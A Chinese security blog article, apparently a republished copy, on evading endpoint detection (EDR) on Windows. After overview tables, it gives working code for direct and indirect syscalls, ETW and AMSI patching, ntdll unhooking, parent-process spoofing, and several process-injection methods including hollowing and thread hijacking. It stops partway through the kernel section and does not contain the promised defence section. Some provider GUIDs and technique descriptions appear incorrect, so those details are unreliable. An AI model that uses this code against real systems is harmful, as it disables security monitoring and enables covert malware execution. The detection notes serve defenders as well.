文章总结: 本文系统剖析EDR终端对抗技术,从应用层、内核层、静态、动态四大维度展开,详细阐述EDR监控架构(内核回调、ETW、API钩子)及对应的对抗手段(如直接/间接系统调用、回调表操作、ETW抑制等),提供红队规避检测与蓝队加固防御的双向技术参考,并包含实战工具与战术链路。 综合评分: 87 文章分类: 渗透测试,红队,终端安全,恶意软件,二进制安全
EDR终端对抗技术深度剖析
原创
pandazhengzheng pandazhengzheng
安全分析与研究
2026年5月17日 20:00 广东
在小说阅读器读本章
去阅读
本文从应用层、内核层、静态、动态四大维度,系统剖析 EDR 终端对抗技术的原理、实现与检测策略,为红蓝双方提供全面的技术参考。
目录
- 一、EDR 监控体系全景
- 二、应用层对抗技术
- 三、内核层对抗技术
- 四、静态对抗技术
- 五、动态对抗技术
- 六、对抗技术全景矩阵
- 七、组合对抗战术与实战链路
- 八、蓝队检测与防御策略
- 九、实战工具与资源
- 十、技术演进趋势与展望
- 附录
一、EDR 监控体系全景
1.1 EDR 监控架构总览
现代 EDR 产品采用多层次、全维度的监控体系,从用户态到内核态形成完整的检测闭环:
1.2 内核回调机制
EDR 通过注册 Windows 内核回调来获取系统事件通知,这是 EDR 最基础也最关键的监控手段:
| 回调类型 | 注册函数 | 监控内容 | 数据结构 | 对应 SSRM |
| — | — | — | — | — |
| 进程创建 | PsSetCreateProcessNotifyRoutineEx | 新进程启动/退出 | PS_CREATE_NOTIFY_INFO | PsCreateProcess |
| 线程创建 | PsSetCreateThreadNotifyRoutine | 新线程创建 | Thread ID + Process ID | PsCreateThread |
| 镜像加载 | PsSetLoadImageNotifyRoutine | DLL/EXE 映像加载 | IMAGE_INFO_EX | PsLoadImage |
| 文件操作 | FltRegisterCallback | 文件读写删除重命名 | FLT_CALLBACK_DATA | Mini-filter |
| 注册表操作 | CmRegisterCallback | 注册表键值增删改查 | REG_CALLBACK_CONTEXT | CmRegister |
| 对象管理 | ObRegisterCallbacks | 句柄操作(打开/复制) | OB_CALLBACK_CONTEXT | ObRegister |
回调函数存储结构: 回调以指针数组形式存储在内核中(如 PspCreateProcessNotifyRoutine[]),每个元素编码了回调函数地址和启用状态(最低2位为标志位:bit0=启用,bit1=是否Ex版本),实际地址 = entry & ~3。
对抗思路:这些回调函数地址存储在内核内存中,理论上可以被定位并修改。但现代 EDR 会保护这些回调表,直接修改会触发 PatchGuard (KPP)。
1.3 ETW(Event Tracing for Windows)
ETW 是 Windows 内置的事件追踪系统,EDR 通过订阅特定 Provider 获取细粒度事件:
| Provider GUID | Provider 名称 | 监控内容 | 事件级别 |
| — | — | — | — |
| {F4A2C69D-12A7-4D73-B8F1-8F2B5E3F8D3A} | Microsoft-Windows-Threat-Intelligence | 内核行为(进程/线程/镜像加载) | Critical |
| {22FB2CD6-0E7B-422B-A0C7-2F8DF4794EE0} | Microsoft-Windows-Kernel-Process | 进程生命周期事件 | Information |
| {7B921740-4380-44E6-9DE6-3F4E62D1E3A0} | Microsoft-Windows-Kernel-ImageLoad | 模块加载事件 | Information |
| {E7EF15BE-2D2B-419B-9E4A-5ED9C3E08D3A} | Microsoft-Windows-DotNETRuntime | .NET 运行时事件 | Information |
| {647B8910-39A0-4CA7-8570-2E04D2B32E7A} | Microsoft-Antimalware-Scan-Interface | AMSI 扫描结果 | Verbose |
ETW 数据流架构:
对抗思路:ETW 事件在用户态通过 EtwEventWrite 发出,可以在此函数上下钩子或打补丁阻止事件上报;在内核态则可修改 ETW Provider 的启用标志位。
1.4 用户态 API 钩子(User-land Hooking)
EDR 在关键 API 入口处插入跳转指令(通常为 JMP 或 CALL),将执行流重定向到检测代码:
正常调用链:
┌─────────────────┐ ┌───────────────────────┐ ┌──────────┐
│ kernel32.dll │───▶│ ntdll.dll │───▶│ 内核 │
│ CreateProcessA │ │ NtCreateUserProcess │ │ (syscall)│
└─────────────────┘ └───────────────────────┘ └──────────┘
被 Hook 后:
┌─────────────────┐ ┌──────────┐ ┌───────────────────────┐ ┌──────────┐
│ kernel32.dll │───▶│ EDR 检测 │───▶│ ntdll.dll │───▶│ 内核 │
│ CreateProcessA │ │ 代码 │ │ NtCreateUserProcess │ │ (syscall)│
└─────────────────┘ └──────────┘ └───────────────────────┘ └──────────┘
Hook 实现原理(Inline Hook / Trampoline Hook):
// EDR Hook 典型实现 - 修改ntdll函数入口
// 原始字节: 4C 8B D1 B8 XX 00 00 00 (mov r10, rcx; mov eax, syscall_num)
// Hook后: JMP [EDR_Handler] (5字节跳转或14字节绝对跳转)
// 32位相对跳转 (5字节, 覆盖mov r10,rcx + mov eax,SSN前5字节)
E9 XX XX XX XX // JMP rel32
// 64位绝对跳转 (14字节, 避免跳转范围限制, 覆盖前14字节)
FF 2500000000 // JMP [rip+0]
XX XX XX XX XX XX XX XX // 绝对地址(8字节)
// EDR Hook后的ntdll!NtWriteVirtualMemory内存布局示例:
// 偏移 字节 含义
// 0x00 E9 3A 12 00 00 JMP rel32 → EDR Handler (被Hook)
// 0x05 90 90 90 90 90 NOP填充 (原字节被覆盖)
// 0x0A ... 函数剩余部分
主流 EDR Hook 覆盖范围:
| EDR 产品 | Hook 层级 | Hook 范围 | 自保护机制 | Unhook难度 | | — | — | — | — | — | | CrowdStrike Falcon | ntdll + kernel32 | 进程/线程/内存/文件/注册表 | 驱动保护+回调校验+ETW TI | ★★★★★ | | Microsoft Defender | ntdll | 进程/内存/文件/AMSI | ELAM+云协同+MPMinDriver | ★★★☆☆ | | SentinelOne | ntdll + win32k | 进程/线程/内存/注册表 | 内核回调+ETW+行为模型 | ★★★★☆ | | Carbon Black | ntdll | 进程/文件/网络 | 驱动保护+云分析 | ★★★☆☆ | | Elastic EDR | ntdll | 进程/文件/网络 | eBPF(Linux)/ETW(Windows) | ★★☆☆☆ | | Cortex XDR | ntdll + kernel32 | 进程/线程/内存/文件/注册表 | 内核回调+cyvrmtck驱动 | ★★★★★ | | Trellix (McAfee) | ntdll | 进程/内存/文件 | mfefirek驱动+AMSI | ★★★☆☆ |
二、应用层对抗技术
应用层对抗技术主要针对 EDR 在用户态部署的监控机制(API Hook、ETW 用户态上报、AMSI 扫描等),通过绕过、移除或欺骗这些监控点来规避检测。
2.1 直接系统调用(Direct Syscall)
原理:不经过被 Hook 的 ntdll.dll 导出函数,直接在代码中内联 syscall 指令进入内核,完全绕过用户态 Hook。
实现方式一:内联汇编(硬编码 SSN)
; NtAllocateVirtualMemory (SSN = 0x18 on Win10 21H2)
NtAllocateVirtualMemory:
mov r10, rcx ; x64调用约定: syscall需r10
mov eax, 18h ; 系统调用号
syscall ; 进入内核
ret
局限:SSN 随 Windows 版本更新而变化,硬编码导致跨版本兼容性问题。
实现方式二:Hell’s Gate — 动态 SSN 提取
从内存中被 Hook 的 ntdll 中提取 syscall 号(Hook 通常保留 mov eax, SSN 指令):
BOOL ExtractSyscallNumber(PVOID pFunctionAddress, UINT32* pSyscallNumber) {
BYTE* pBytes = (BYTE*)pFunctionAddress;
// 被Hook的ntdll入口: mov r10,rcx (4C 8B D1) + mov eax,SSN (B8 XX XX XX XX)
if (pBytes[0] == 0x4C && pBytes[1] == 0x8B && pBytes[2] == 0xD1 && pBytes[3] == 0xB8) {
*pSyscallNumber = *(UINT32*)(pBytes + 4);
return TRUE;
}
return FALSE;
}
实现方式三:Tartarus’ Gate — 从磁盘映射干净的 ntdll.dll 解析 SSN,解决 Hell’s Gate 在 Hook 覆盖了 mov eax 指令时失败的问题。
实现方式四:SysWhispers3 — 自动化 Syscall 代码生成(python syswhispers3.py -f NtAllocateVirtualMemory -o output),自动适配不同 Windows 版本,支持 Direct/Indirect 两种模式。
对抗效果对比:
| 技术方案 | SSN获取方式 | 绕过Hook | 跨版本兼容 | 实现复杂度 | 调用栈合法性 | EDR检测风险 | | — | — | — | — | — | — | — | | 硬编码SSN | 静态写死 | ✅ | ❌ | ★☆☆☆☆ | ❌ (RIP在未知内存) | ETW TI+栈回溯 | | Hell’s Gate | 内存解析被Hook的ntdll | ✅ | ✅ | ★★★☆☆ | ❌ (RIP在未知内存) | ETW TI+栈回溯 | | Tartarus’ Gate | 磁盘映射干净ntdll | ✅ | ✅ | ★★★★☆ | ❌ (RIP在未知内存) | ETW TI+栈回溯 | | SysWhispers3 | 编译时生成 | ✅ | ✅ | ★★☆☆☆ | ❌ (RIP在未知内存) | ETW TI+栈回溯 | | Halo’s Gate | 跳过Hook扫描相邻SSN | ✅ | ✅ | ★★★☆☆ | ❌ (RIP在未知内存) | ETW TI+栈回溯 |
2.2 间接系统调用(Indirect Syscall)
原理:跳转到 ntdll.dll 中原始 syscall; ret 指令的位置执行系统调用,返回地址指向 ntdll.dll 内部而非未知内存区域,使调用栈看起来合法。
Direct Syscall 调用栈:
攻击代码区域 ◄── 返回地址指向未知内存 (EDR可检测)
Indirect Syscall 调用栈:
攻击代码区域 ──▶ ntdll.dll!syscall;ret ◄── 返回地址指向ntdll (看起来合法)
代码实现:
// 1. 在ntdll中定位原始syscall指令地址 (扫描0F 05 C3序列)
PVOID FindSyscallInstruction(PVOID pNtFunction) {
BYTE* ptr = (BYTE*)pNtFunction;
for (int i = 0; i < 0x20; i++) {
if (ptr[i] == 0x0F && ptr[i+1] == 0x05 && ptr[i+2] == 0xC3)
return (PVOID)(ptr + i);
}
return NULL;
}
// 2. 设置SSN后JMP到ntdll!syscall;ret (非直接执行syscall)
Direct vs Indirect Syscall 对比:
| 对比维度 | Direct Syscall | Indirect Syscall | | — | — | — | | syscall执行位置 | 攻击代码自身(未知内存区域) | ntdll.dll 内部(合法地址范围) | | 返回地址(RIP) | 指向未知内存 → EDR栈回溯可标记 | 指向ntdll.dll → 调用栈看起来合法 | | ETW TI Provider | 可检测syscall来源不在ntdll | syscall来源在ntdll范围内 | | 调用栈回溯 | 立即暴露(RIP ∉ 已知模块) | 需深度分析才能识别 | | 实现复杂度 | 较低(仅需SSN+syscall指令) | 中等(需定位ntdll中syscall指令地址) | | 兼容性 | 高(任何Windows版本) | 中(需扫描ntdll找到syscall;ret序列) | | 绕过Hook能力 | ✅ 完全绕过用户态Hook | ✅ 完全绕过用户态Hook | | 代表工具 | SysWhispers3, Hell’s Gate | SysWhispers2/3 (indirect模式) |
2.3 ETW 补丁技术
2.3.1 用户态 ETW 补丁
定位 ntdll.dll 中的 EtwEventWrite 函数,修改其开头字节使其直接返回:
// 将EtwEventWrite修改为 xor eax,eax; ret (返回STATUS_SUCCESS)
// 比直接写ret(0xC3)更隐蔽, 调用者不会因返回值异常而报错
BOOL PatchEtwReturnSuccess() {
FARPROC pFunc = GetProcAddress(GetModuleHandleA("ntdll.dll"), "EtwEventWrite");
DWORD oldProtect;
VirtualProtect(pFunc, 3, PAGE_EXECUTE_READWRITE, &oldProtect);
BYTE patch[] = { 0x31, 0xC0, 0xC3 }; // xor eax,eax; ret
memcpy(pFunc, patch, sizeof(patch));
VirtualProtect(pFunc, 3, oldProtect, &oldProtect);
return TRUE;
}
2.3.2 内核态 ETW 禁用
通过 NtTraceControl 系统调用禁用特定 ETW Provider,比用户态 patch 更底层且不易被检测。需要管理员权限,可系统级禁用 Threat-Intelligence 等关键 Provider。
ETW 对抗方案对比:
| 方案 | 作用层级 | 覆盖范围 | 隐蔽性 | 持久性 | 风险 | | — | — | — | — | — | — | | 用户态ret patch | 用户态 | 仅当前进程 | ★★☆☆☆ | 进程生命周期 | EDR可检测patch行为 | | 用户态return SUCCESS | 用户态 | 仅当前进程 | ★★★☆☆ | 进程生命周期 | 较隐蔽, 但仍可被unhook检测 | | NtTraceControl禁用 | 内核交互 | 系统级 | ★★★★☆ | 需要持续保持 | 需要管理员权限 | | 内核ETW Provider标志修改 | 内核态 | 系统级 | ★★★★★ | 持久(直到重启) | 需要驱动, 触发PatchGuard风险 |
2.4 AMSI 绕过
AMSI (Antimalware Scan Interface) 是 Windows 提供的脚本内容扫描接口,EDR 通过 AMSI 扫描 PowerShell/VBScript/JScript 等脚本内容。
2.4.1 AMSI 架构
脚本引擎 ──▶ AmsiScanBuffer() ──▶ AMSI Provider (EDR注册) ──▶ 扫描结果
│ │
│ AmsiInitialize() │ 检测到恶意内容
│ ▼
└──────────────────────────── 返回 AMI_RESULT_DETECTED
2.4.2 常见绕过方法
方法一:修改 amsiInitFailed 标志(PowerShell)
# 强制AMSI认为初始化失败, 后续所有扫描将被跳过
$ref = [Ref].Assembly.GetTypes() | Where-Object { $_.Name -like "*Utils" }
$amsi = $ref.GetField('amsiInitFailed', 'NonPublic,Static')
$amsi.SetValue($null, $true)
# 之后所有PowerShell脚本将不再经过AMSI扫描
方法二:AmsiScanBuffer 内存补丁
// 直接修改amsi.dll!AmsiScanBuffer入口, 始终返回AMSI_RESULT_CLEAN
BOOL PatchAmsiScanBuffer() {
HMODULE hAmsi = GetModuleHandleA("amsi.dll");
FARPROC pScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer");
DWORD oldProtect;
VirtualProtect(pScanBuffer, 9, PAGE_EXECUTE_READWRITE, &oldProtect);
BYTE patch[] = {
0x31, 0xC0, // xor eax,eax (return S_OK)
0xC6, 0x44, 0x24, 0x28, 0x00, // mov byte [rsp+0x28], 0 (result=CLEAN)
0xC2, 0x18, 0x00 // ret 18h
};
memcpy(pScanBuffer, patch, sizeof(patch));
VirtualProtect(pScanBuffer, 9, oldProtect, &oldProtect);
return TRUE;
}
方法三:模糊化绕过 — 不修改 AMSI,通过自定义编码(XOR/ROT/Base64+分段)规避字符串特征匹配,最隐蔽但需额外解码逻辑。
AMSI 绕过方案对比:
| 方案 | 原理 | 检测难度 | 副作用 | 版本兼容性 | | — | — | — | — | — | | amsiInitFailed标志 | 修改.NET内部标志 | ★★☆☆☆ | 仅影响PowerShell | Win10+ | | Hook AmsiScanBuffer | IAT Hook替换 | ★★★☆☆ | 影响全进程AMSI调用 | 全版本 | | AmsiScanBuffer patch | 直接修改入口字节 | ★★★★☆ | 影响全进程 | 全版本 | | 模糊化/编码 | 不修改AMSI,规避特征 | ★★★★★ | 无 | 全版本 | | CLR Hook | 修改CLR内部调用 | ★★★★☆ | 仅影响.NET | .NET 4.x |
2.5 Unhooking(解除 API Hook)
2.5.1 从磁盘重新映射 ntdll.dll
// 最常用的unhooking方法: 用磁盘上干净的ntdll覆盖内存中被Hook的ntdll
BOOL UnhookNtdll() {
// 1. 从磁盘读取干净的ntdll.dll
HANDLE hFile = CreateFileA(
"\\??\\C:\\Windows\\System32\\ntdll.dll",
GENERIC_READ, FILE_SHARE_READ, NULL,
OPEN_EXISTING, 0, NULL
);
HANDLE hMapping = CreateFileMappingA(hFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
PVOID pCleanNtdll = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0);
// 2. 获取内存中当前ntdll的基地址
PVOID pHookedNtdll = GetModuleHandleA("ntdll.dll");
// 3. 解析PE头, 找到.text段
PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)(
(BYTE*)pCleanNtdll + ((PIMAGE_DOS_HEADER)pCleanNtdll)->e_lfanew
);
PIMAGE_SECTION_HEADER pSection = IMAGE_FIRST_SECTION(pNtHeaders);
for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) {
if (strcmp((char*)pSection[i].Name, ".text") == 0) {
// 4. 将干净的.text段覆盖到内存中
DWORD oldProtect;
PVOID pTarget = (BYTE*)pHookedNtdll + pSection[i].VirtualAddress;
PVOID pSource = (BYTE*)pCleanNtdll + pSection[i].VirtualAddress;
SIZE_T size = pSection[i].Misc.VirtualSize;
VirtualProtect(pTarget, size, PAGE_EXECUTE_READWRITE, &oldProtect);
memcpy(pTarget, pSource, size);
VirtualProtect(pTarget, size, oldProtect, &oldProtect);
break;
}
}
UnmapViewOfFile(pCleanNtdll);
CloseHandle(hMapping);
CloseHandle(hFile);
return TRUE;
}
2.5.2 从 KnownDlls 获取干净 ntdll
通过 \KnownDlls\ntdll 段对象获取干净的 ntdll 副本,优点是不需要磁盘 IO,更隐蔽。使用 NtOpenSection + NtMapViewOfSection 映射后,同样覆盖 .text 段即可恢复原始字节。
2.6 父进程 ID 欺骗(PPID Spoofing)
让恶意进程看起来是由合法进程(如 explorer.exe)启动的,伪装进程树:
// 使用PROC_THREAD_ATTRIBUTE_PARENT_PROCESS属性伪造父进程
HANDLE hParent = OpenProcess(PROCESS_ALL_ACCESS, FALSE, explorerPid);
SIZE_T attrSize = 0;
InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize);
LPPROC_THREAD_ATTRIBUTE_LIST pAttrList = HeapAlloc(GetProcessHeap(), 0, attrSize);
InitializeProcThreadAttributeList(pAttrList, 1, 0, &attrSize);
UpdateProcThreadAttribute(pAttrList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
&hParent, sizeof(hParent), NULL, NULL);
STARTUPINFOEXA si = { 0 };
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
si.lpAttributeList = pAttrList;
CreateProcessA(NULL, exePath, NULL, NULL, FALSE,
CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT,
NULL, NULL, &si.StartupInfo, &pi);
2.7 进程注入技术
2.7.1 经典远程线程注入(VirtualAllocEx + CreateRemoteThread)
这是最基础的进程注入方式,每个步骤都会被 EDR 的内核回调和用户态 Hook 完整记录:
// 经典远程线程注入完整实现
BOOL ClassicInjection(DWORD targetPid, PBYTE shellcode, SIZE_T shellcodeSize) {
// Step 1: 打开目标进程
// [EDR检测点] OpenProcess会被ObRegisterCallbacks监控
// 若请求PROCESS_ALL_ACCESS权限, EDR可能直接拒绝或降权
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPid);
if (!hProcess) return FALSE;
// Step 2: 在目标进程中分配内存
// [EDR检测点] VirtualAllocEx分配RWX内存会被立即标记
// EDR会记录: 基址、大小、属性(RWX极度可疑)
PVOID pRemoteBuf = VirtualAllocEx(hProcess, NULL, shellcodeSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (!pRemoteBuf) return FALSE;
// Step 3: 写入shellcode
// [EDR检测点] WriteProcessMemory会被ntdll Hook记录
// EDR会记录: 源地址、目标地址、写入长度
// 且写入内容可能被复制到EDR缓冲区进行特征扫描
if (!WriteProcessMemory(hProcess, pRemoteBuf, shellcode, shellcodeSize, NULL))
return FALSE;
// Step 4: 创建远程线程执行
// [EDR检测点] CreateRemoteThread是最强检测信号
// EDR会记录: 线程起始地址(非模块内)、创建者进程
// 线程起点不在任何已加载DLL内 → 立即标记为注入
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)pRemoteBuf,
NULL, 0, NULL);
if (!hThread) return FALSE;
WaitForSingleObject(hThread, INFINITE);
return TRUE;
}
EDR 检测链路分析:
| 执行步骤 | 触发的EDR监控 | 检测严重度 | 关联分析权重 |
| — | — | — | — |
| OpenProcess(ALL_ACCESS) | ObRegisterCallbacks | 中 | 句柄请求权限过高 |
| VirtualAllocEx(RWX) | NtAllocateVirtualMemory Hook | 高 | RWX内存分配是强信号 |
| WriteProcessMemory | NtWriteVirtualMemory Hook | 高 | 跨进程内存写入 |
| CreateRemoteThread | PsSetCreateThreadNotifyRoutine | 极高 | 线程起点不在合法模块内 |
结论:经典注入的每一步都会被现代 EDR 完整记录并关联分析,四步操作形成完整的注入证据链,检出率接近 100%,仅适用于教学演示。
2.7.2 进程镂空(Process Hollowing)
// 进程镂空完整实现
// 优势: 进程树看起来完全正常, 父进程是合法的系统进程
// 1. 以挂起状态创建合法进程 (关键: STARTUPINFO必须匹配目标进程)
STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
CreateProcessA("C:\\Windows\\System32\\svchost.exe", NULL, NULL, NULL,
FALSE, CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
// 2. 读取PEB获取进程映像基址
// [EDR检测点] NtQueryInformationProcess可能被Hook
PROCESS_BASIC_INFORMATION pbi = { 0 };
NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
PVOID baseAddress = (PVOID)pbi.PebBaseAddress->Reserved3[1]; // PEB.ImageBaseAddress
// 3. 取消原映像映射 (关键步骤, 使进程内存为空)
// [EDR检测点] NtUnmapViewOfSection是强信号, 合法程序极少调用
NtUnmapViewOfSection(pi.hProcess, baseAddress);
// 4. 在原基址分配内存并写入恶意PE
// [EDR检测点] VirtualAllocEx + WriteProcessMemory组合
PVOID pRemoteBase = VirtualAllocEx(pi.hProcess, baseAddress, payloadSize,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, pRemoteBase, payload, payloadSize, NULL);
// 5. 修复PE重定位表 (若加载地址与PE期望基址不同)
FixRelocations(pRemoteBase, payload, (ULONG_PTR)baseAddress);
// 6. 修改线程上下文入口点并恢复执行
// [EDR检测点] SetThreadContext修改RIP是强注入信号
CONTEXT ctx = { 0 };
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(pi.hThread, &ctx);
ctx.Rcx = (DWORD64)((BYTE*)pRemoteBase + payloadEntryPoint); // 设置新的RIP
SetThreadContext(pi.hThread, &ctx);
ResumeThread(pi.hThread);
进程镂空 EDR 检测分析:
| 检测维度 | 检测方式 | 有效性 | 说明 | | — | — | — | — | | 内存映像不匹配 | 对比磁盘PE与内存映像哈希 | ★★★★★ | 映像被替换后哈希不匹配 | | NtUnmapViewOfSection | 监控对合法映像的Unmap操作 | ★★★★☆ | 极少合法程序会Unmap自身映像 | | 线程起点验证 | 检查主线程入口是否在映像范围内 | ★★★★★ | 入口点偏移与PE头不匹配 | | 内存属性变更 | 监控RWX分配+SetContext组合 | ★★★★☆ | 操作序列构成注入模式 |
2.7.3 模块镂空(Module Stomping / DLL Hollowing)
将 Shellcode 写入远程进程中已加载 DLL 的代码段(.text section),不分配新内存区域,不会触发”未支持的内存”检测,内存扫描时该区域仍关联到合法 DLL 模块。
// 1. 在远程进程加载无害DLL (如version.dll) 作为宿主
// 2. 枚举远程进程模块, 定位宿主DLL基地址
HMODULE hRemoteDll = FindRemoteModule(hProcess, "version.dll");
// 3. 解析PE头定位.text段, 覆盖为shellcode
PIMAGE_SECTION_HEADER pTextSection = GetSectionHeader(hRemoteDll, ".text");
PVOID pRemoteText = (BYTE*)hRemoteDll + pTextSection->VirtualAddress;
// 4. 修改属性→写入→恢复属性
DWORD oldProtect;
VirtualProtectEx(hProcess, pRemoteText, size, PAGE_EXECUTE_READWRITE, &oldProtect);
WriteProcessMemory(hProcess, pRemoteText, shellcode, size, NULL);
VirtualProtectEx(hProcess, pRemoteText, size, oldProtect, &oldProtect);
检测局限:不会产生 VirtualAllocEx 分配的”孤立内存”,但 EDR 可通过 DLL 内容完整性校验(对比磁盘与内存 .text 段哈希)检测到篡改。
2.7.4 线程劫持(Thread Hijacking)
挂起目标进程的现有线程,修改其执行上下文(RIP)来执行 shellcode。不调用 CreateRemoteThread,减少了一个强检测信号。
// 1. 在目标进程分配内存(RW)→写入shellcode→改属性(RX)
PVOID pRemote = VirtualAllocEx(hProcess, NULL, size, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProcess, pRemote, shellcode, size, NULL);
VirtualProtectEx(hProcess, pRemote, size, PAGE_EXECUTE_READ, &oldProtect);
// 2. 枚举线程→挂起→修改RIP→恢复
HANDLE hThread = OpenThread(THREAD_SUSPEND_RESUME | THREAD_SET_CONTEXT, FALSE, threadId);
SuspendThread(hThread);
CONTEXT ctx = { .ContextFlags = CONTEXT_FULL };
GetThreadContext(hThread, &ctx);
ctx.Rip = (DWORD64)pRemote;
SetThreadContext(hThread, &ctx);
ResumeThread(hThread);
局限:SuspendThread + SetThreadContext 组合已被 EDR 视为可疑模式;线程恢复后 RIP 不在任何合法模块范围内。
进程注入技术对比:
| 注入方式 | 关键API | 隐蔽性 | 检出率 | EDR检测维度 | 适用场景 | | — | — | — | — | — | — | | 经典远程线程注入 | CreateRemoteThread | ★☆☆☆☆ | ★★★★★ | 全维度检出 | 教学演示(实战不用) | | 进程镂空 | CreateProcess(SUSPENDED)+NtUnmap | ★★★☆☆ | ★★★☆☆ | 内存映像校验 | 伪装合法进程 | | 模块镂空 | LoadLibrary+覆盖.text段 | ★★★★☆ | ★★☆☆☆ | DLL完整性校验 | 不分配新内存 | | 线程劫持 | SuspendThread+SetContext | ★★★☆☆ | ★★★☆☆ | 调用栈回溯 | 避免CreateRemoteThread | | APC注入 | QueueUserAPC | ★★★☆☆ | ★★★☆☆ | APC队列监控 | 线程注入替代 | | 进程双写 | NtWriteVirtualMemory×2 | ★★★★☆ | ★★☆☆☆ | 写入时序关联 | 绕过内存监控 | | 回调执行 | EnumWindows+Callback | ★★★★★ | ★☆☆☆☆ | 回调来源验证 | 高级EDR对抗 |
2.8 应用层对抗技术总结
三、内核层对抗技术
内核层对抗直接在 Ring 0 层面操作,技术门槛更高但隐蔽性也更强,是高级 APT 组织和红队的核心对抗领域。
3.1 内核回调篡改
3.1.1 回调篡改原理
正常流程:
┌──────────┐ ┌──────────────┐ ┌──────────────┐ ┌──────────┐
`
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:安全分析与研究 pandazhengzheng pandazhengzheng《EDR终端对抗技术深度剖析》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论